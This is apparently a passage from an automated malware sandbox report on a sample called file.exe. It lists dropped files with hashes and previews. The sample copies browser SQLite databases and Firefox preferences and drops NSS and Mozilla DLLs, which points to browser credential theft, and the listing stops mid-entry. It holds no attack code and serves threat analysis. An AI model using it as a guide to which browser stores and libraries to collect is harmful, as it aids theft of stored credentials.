Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GDAEBKJDHDAFIECBAKKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\IEHDBAAFIDGDAAAAAAAA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKEHIIJJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFBAECBA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJECFHCBKKEBAKFIJDHI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KKFHJDAEHIEHJJKFBGDAKKKKEG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: S1NrYNOYhZ.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\429172ec-4be6-4b4b-a32a-739e4c125245.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44906
Entropy (8bit):	6.0949622714573515
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kW8ai1zNtJJaNLi73C6vKJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynXaYKtSmd6qE7lFoC
MD5:	8EE4CA2661AA02520B4B6BA1050D6208
SHA1:	DBC93733584CF68C0175DE5758134AE9137A0A0F
SHA-256:	C4B0B642F440533467BAF7A5EC04193C6C98385612E383AA99F2F70858FB1C9A
SHA-512:	FD7BF301FCCA3AD82541C65E7D2B11666032968A9402661949B8190E9EB888D5DB408297EAF67BC09F9521E3C06A2FEEF3E1489660CAF89ABE265EEF4E8EEE7F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\44d28a7d-870a-436c-b206-4a9d70e2de8b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089755011546614
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWLdi1zNtPMSkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynttkzItSmd6qE7lFoC
MD5:	E376EFF9A9696EAF48F60ADE04DDE417
SHA1:	EAA404A27CD0493940604175DB3647C600024107
SHA-256:	109A553C7D2B547F461B9F66FDE628D8BCE579289D55BD4F89F0E59784F0922A
SHA-512:	899A86513E205421D7D98477FA1F2B736361B0E0699F9144DE5CAAAD586F5B5799932D379E2F2C23ADCB72D20FBB67024C627070E6E7FC59B1263551DE0ED45D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\7761f6ce-efc1-42a5-8397-5e444c27ec66.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44929
Entropy (8bit):	6.094878359542594
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWoai1zNtJJa9nf46EFEL+KJDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynpaMKtSmd6qE7lFoC
MD5:	E93902AC2B47A8970E3AE5DC36003B73
SHA1:	3DDF9E332390C63FE2D6B7E5609284C343C9DB61
SHA-256:	28C8E1C9E1F9680958D8537585C39F983FD7054633AF096B1039190F96516241
SHA-512:	B39905D79C53AFA6428210273C9F4DE6A14CF96A9361C774BF58A3AF2D536431C42334F3C1F2CFCDD1B34D1FABB08459C694C282C4B4B135AF9A39C76C537E5E
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6755CD27-1D98.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.046725043686492246
Encrypted:	false
SSDEEP:	192:FUT/0m5tmOnOAt6YoJgA8x5XSggykAhagB0NERIT/ERQcQuMAB6IBgwn8y08TcmQ:+L0Uthqgk6hP01YfMAsI108T2RGOD
MD5:	B8D3DFC04E57742AA7B435286A7702EC
SHA1:	20CA521785A4BE7078B1789C4C096BB589AC2F78
SHA-256:	566017E1840B6E2F765B0E8847879C5AE35BFD70512DD754B99F51509CE4D28D
SHA-512:	DD5738E47A407A3BF277909278E68DFCBE6C98B9B696D9F90F0A053BABB16A753C57F6D03E4AC6416989B5B8027AA1E05FED263E552ACCB82E52687A42BF4CC4
Malicious:	false
Preview:	...@..@...@.....C.].....@................g..8W..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30...............117.0.2045.55-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".icwkdy20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@....................................w..U?:K...G...W6.>.........."....."...24.."."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...Nb.X9.I@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2..........I...... .`2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.0984945491284295
Encrypted:	false
SSDEEP:	3:FiWWltlcUpPmPIijS3XbnbO6YBVP/Sh/JzvbYuDRBOc7cEJHCll:o1cUh4Y3LbO/BVsJDbYuDRBOycd
MD5:	AFAC5E4CC1213807ACB7D1A0F61BCF99
SHA1:	FEDCA0A829A0DBCCD1E9D7048398372FF9604783
SHA-256:	FF48F538CBF3D665C9B115D6F3F6459E0CD7D9DF368E921E5A4BF2CA88E3C55F
SHA-512:	44F1A7E8C8DD1D5CE625AE26ED4074900A979ACD34BAFB3D3B354145690D37D34E07F2D0D9DEE81BE80EAFA9E3973AB11AD6E85EB23A804958584D8DB4902D66
Malicious:	false
Preview:	sdPC.....................cT..\.E.....P."+jDg7C0j+BlQ1Nj+QPG7Safjq+2ZvoQsMhxZL1Gpc+U="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................7aa5fc64-f4df-45d8-92ed-89470ca1c2d2............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089755011546614
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWLdi1zNtPMSkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynttkzItSmd6qE7lFoC
MD5:	E376EFF9A9696EAF48F60ADE04DDE417
SHA1:	EAA404A27CD0493940604175DB3647C600024107
SHA-256:	109A553C7D2B547F461B9F66FDE628D8BCE579289D55BD4F89F0E59784F0922A
SHA-512:	899A86513E205421D7D98477FA1F2B736361B0E0699F9144DE5CAAAD586F5B5799932D379E2F2C23ADCB72D20FBB67024C627070E6E7FC59B1263551DE0ED45D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF39e64.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
